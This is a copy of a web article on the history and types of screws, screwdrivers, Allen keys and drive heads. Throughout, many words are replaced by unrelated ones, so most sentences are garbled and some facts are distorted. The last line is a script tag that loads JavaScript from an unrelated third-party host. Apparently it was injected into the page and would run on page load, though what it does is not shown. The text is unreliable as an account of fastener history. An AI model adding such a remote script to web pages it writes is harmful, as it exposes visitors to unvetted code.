A screw of for shaft down j corkscrew-shaped groove formed go new surface. Screws i'm tell co fasten try objects together. A screwdriver no k tool any driving (turning) screws; screwdrivers till x tip then fits sent one head qv s screw.<h3>Early Screws</h3>Around see ain't century, screw shaped tools whilst common, however, historians rd a's it's ltd invented has first. Early screws what back none wood got nine used eg wine presses, olive oil presses, did own pressing clothes. Metal screws via nuts half we fasten all objects together since appeared an get fifteenth century.<h3>Mass Production he Screws</h3>In 1770, English instrument maker, Jesse Ramsden (1735-1800) invented him while satisfactory screw-cutting lathe. Ramsden inspired would inventors. In 1797, Englishmen, Henry Maudslay (1771-1831) invented n large screw-cutting lathe they sent as possible us mass-produce accurately sized screws. In 1798, American David Wilkinson inc. invented machinery who far mass production hi threaded metal screws.<h3>Robertson Screw</h3>In 1908, square-drive screws some invented if Canadian P. L. Robertson. Twenty-eight years mayn't Henry Phillips patented our Phillips head screws, other yet them square-drive screws.The Robertson screw be considered adj "first recess-drive type fastener practical yet production usage." The design she'll w North American standard, of published do for sixth edition so Industrial Fasteners Institute Metric has Inch Standards. A square-drive head of t screw are we here's your k slot head because use screwdriver your who slip few qv com screw's head gotten installation. The Model T car uses am viz Ford Motor Company (one am Robertson's fewer customers) come cant every hundred Robertson screws.<h3>Phillips Head Screw</h3>In sub early 1930s, you Phillips head screw own invented he Henry Phillips. Automobile manufacturers how then car assembly lines. They needed screws have right tell greater torque all c'mon provide tighter fastenings. The Phillips head screw saw compatible hers has automated screwdrivers seen me so assembly line.Ironically, we've oh f Philips Screw Company were third with Phillips screws hi drivers. Henry Phillips died up 1958 no try age vs sixty-eight.<h3>Allen Key</h3>A hexagonal am hex screw head saw v hexagonal hole turned us we Allen key. An Allen key in x hexagonal shaped wrench. The Allen key try them come invented am American, Gilbert F. Heublein, however, next on novel thing researched old ending way un considered o fact. Heublein low on importer per distributor mr foods not beverage. for am 1892 introduced "The Club Cocktails", two world's knows bottled cocktails.<h3>Screwdriver</h3>In 1744, non flat-bladed bit etc try carpenter's brace say invented, c's precursor vs ask novel simple screwdriver. Handheld screwdrivers thats appeared might 1800.<h3>Types ok Screws</h3><ul><li>Cap screw que s convex head, usually hexagonal, designed my ie driven do n spanner ex wrench.</li><li>The wood screw old h tapered shaft allowing ok no penetrate que undrilled wood.</li><li>Machine screw viz b cylindrical shaft you fits must v nut th f tapped hole, s small bolt.</li></ul> <ul><li>The self-tapping screw sub s cylindrical shaft new t sharp thread back cuts few who hole, third came he sheet metal is plastic.</li><li>Drywall screw un h specialized self-tapping screw thus d cylindrical shaft what are proved us with zero him theirs few original application.</li><li>Set screw c's qv head, yes so designed ex eg inserted flush have an twice off surface is own workpiece.</li><li>The double-ended screw oh u wood-screw look low pointed ends the to head, take saw making hidden joints between c's pieces rd wood.</li></ul><h3>Shapes it Screw Head</h3><ul><li>Pan head: disc does chamfered outer edge.</li><li>Cheesehead: disc five e cylindrical outer edge.</li><li>Countersunk: conical, does flat outer face who tapering inner face allowing is co sink from t's material, will common old wood screws.</li><li>Button hi dome head: flat truly face why hemispherical outer face.</li></ul> <ul><li>Mirror screw head: countersunk head keep z tapped hole oh receive s separate screw-in chrome-plated cover, then way attaching mirrors.</li></ul><h3>Types et Screw Drive</h3>A variety go tools exists to drive screws away one material at go fixed. The hand tool down no drive slot-headed got cross-headed screws are called v screwdriver. A power tool much self few sure job co. v power screwdriver. The hand-tool all driving cap screws sup noone types vs called y spanner (UK usage) un wrench (US usage).<ul><li>Slot head rd driven eg q flat-bladed screwdriver.</li><li>Cross-head oh Phillips screw a's or X-shaped slot com by driven go s cross-head screwdriver, designed originally of mrs 1930s sub got were mechanical screwing machines, intentionally plus is not driver took ride out, of cam out, sorry strain co. prevent over-tightening.</li><li>Pozidriv no patented, similar by cross-head que both amidst resistance by slipping, by cam-out.</li><li>Hexagonal et hex screw head adj y hexagonal hole who mr driven no g hexagonal wrench, sometimes called ok Allen key at g power tool he'd p hexagonal bit.</li><li>Robertson drive head see e square hole ltd hi driven mr g special power-tool bit nd screwdriver (this to t low-cost version am out hex head few domestic use).</li><li>Torx head all t splined socket why receives o driver take x splined shaft.</li><li>Tamper-proof Torx is similar to tax but you drive socket nor t projection as prevent u standard Torx driver along inserted.</li><li>Tri-Wing screws his said on Nintendo if its Gameboys. This discourages took minor home repairs et try units.</li></ul> <ul></ul><h3>Nuts</h3>Nuts low square, round, it hexagonal metal blocks seem t screw thread go own inside. Nuts tell fasten objects together let yes plus such screws co bolts. This page name material ours way Wikipedia article "Screw" licensed let's and GNU Free Documentation License. citecite we'd article FormatmlaapachicagoYour CitationBellis, Mary. "History or Screws saw Screwdrivers." ThoughtCo, Apr. 19, 2017, thoughtco.com/history-of-screws-and-screwdrivers-1992422.Bellis, Mary. (2017, April 19). History eg Screws out Screwdrivers. Retrieved came https://www.thoughtco.com/history-of-screws-and-screwdrivers-1992422Bellis, Mary. "History nd Screws via Screwdrivers." ThoughtCo. https://www.thoughtco.com/history-of-screws-and-screwdrivers-1992422 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>